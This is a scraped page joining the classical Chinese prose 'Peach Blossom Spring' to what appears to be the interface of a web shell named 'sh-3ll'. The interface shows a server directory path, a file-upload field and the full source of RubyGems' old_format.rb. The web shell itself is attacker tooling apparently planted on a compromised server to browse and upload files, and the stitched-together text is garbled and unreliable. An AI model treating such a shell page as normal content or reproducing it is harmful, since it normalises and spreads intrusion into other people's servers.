晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby18/lib64/ruby/site_ruby/1.8/rubygems/
Upload File :
Current File : //opt/alt/ruby18/lib64/ruby/site_ruby/1.8/rubygems/old_format.rb
#--
# Copyright 2006 by Chad Fowler, Rich Kilmer, Jim Weirich and others.
# All rights reserved.
# See LICENSE.txt for permissions.
#++

require 'rubygems'

##
# The format class knows the guts of the RubyGem .gem file format and provides
# the capability to read gem files

class Gem::OldFormat

  attr_accessor :spec, :file_entries, :gem_path

  ##
  # Constructs an instance of a Format object, representing the gem's data
  # structure.
  #
  # gem:: [String] The file name of the gem

  def initialize(gem_path)
    require 'fileutils'
    require 'zlib'
    Gem.load_yaml

    @gem_path = gem_path
  end

  ##
  # Reads the named gem file and returns a Format object, representing the
  # data from the gem file
  #
  # file_path:: [String] Path to the gem file

  def self.from_file_by_path(file_path)
    unless File.exist?(file_path)
      raise Gem::Exception, "Cannot load gem file [#{file_path}]"
    end

    File.open(file_path, 'rb') do |file|
      from_io(file, file_path)
    end
  end

  ##
  # Reads a gem from an io stream and returns a Format object, representing
  # the data from the gem file
  #
  # io:: [IO] Stream from which to read the gem

  def self.from_io(io, gem_path="(io)")
    format = self.new(gem_path)
    skip_ruby(io)
    format.spec = read_spec(io)
    format.file_entries = []
    read_files_from_gem(io) do |entry, file_data|
      format.file_entries << [entry, file_data]
    end
    format
  end

  private

  ##
  # Skips the Ruby self-install header.  After calling this method, the
  # IO index will be set after the Ruby code.
  #
  # file:: [IO] The IO to process (skip the Ruby code)

  def self.skip_ruby(file)
    end_seen = false
    loop {
      line = file.gets
      if(line == nil || line.chomp == "__END__") then
        end_seen = true
        break
      end
    }

    if end_seen == false then
      raise Gem::Exception.new("Failed to find end of ruby script while reading gem")
    end
  end

  ##
  # Reads the specification YAML from the supplied IO and constructs
  # a Gem::Specification from it.  After calling this method, the
  # IO index will be set after the specification header.
  #
  # file:: [IO] The IO to process

  def self.read_spec(file)
    yaml = ''

    read_until_dashes file do |line|
      yaml << line
    end

    Gem::Specification.from_yaml yaml
  rescue YAML::Error => e
    raise Gem::Exception, "Failed to parse gem specification out of gem file"
  rescue ArgumentError => e
    raise Gem::Exception, "Failed to parse gem specification out of gem file"
  end

  ##
  # Reads lines from the supplied IO until a end-of-yaml (---) is
  # reached
  #
  # file:: [IO] The IO to process
  # block:: [String] The read line

  def self.read_until_dashes(file)
    while((line = file.gets) && line.chomp.strip != "---") do
      yield line
    end
  end

  ##
  # Reads the embedded file data from a gem file, yielding an entry
  # containing metadata about the file and the file contents themselves
  # for each file that's archived in the gem.
  # NOTE: Many of these methods should be extracted into some kind of
  # Gem file read/writer
  #
  # gem_file:: [IO] The IO to process

  def self.read_files_from_gem(gem_file)
    errstr = "Error reading files from gem"
    header_yaml = ''
    begin
      self.read_until_dashes(gem_file) do |line|
        header_yaml << line
      end
      header = YAML.load(header_yaml)
      raise Gem::Exception, errstr unless header

      header.each do |entry|
        file_data = ''
        self.read_until_dashes(gem_file) do |line|
          file_data << line
        end
        yield [entry, Zlib::Inflate.inflate(file_data.strip.unpack("m")[0])]
      end
    rescue Zlib::DataError
      raise Gem::Exception, errstr
    end
  end

end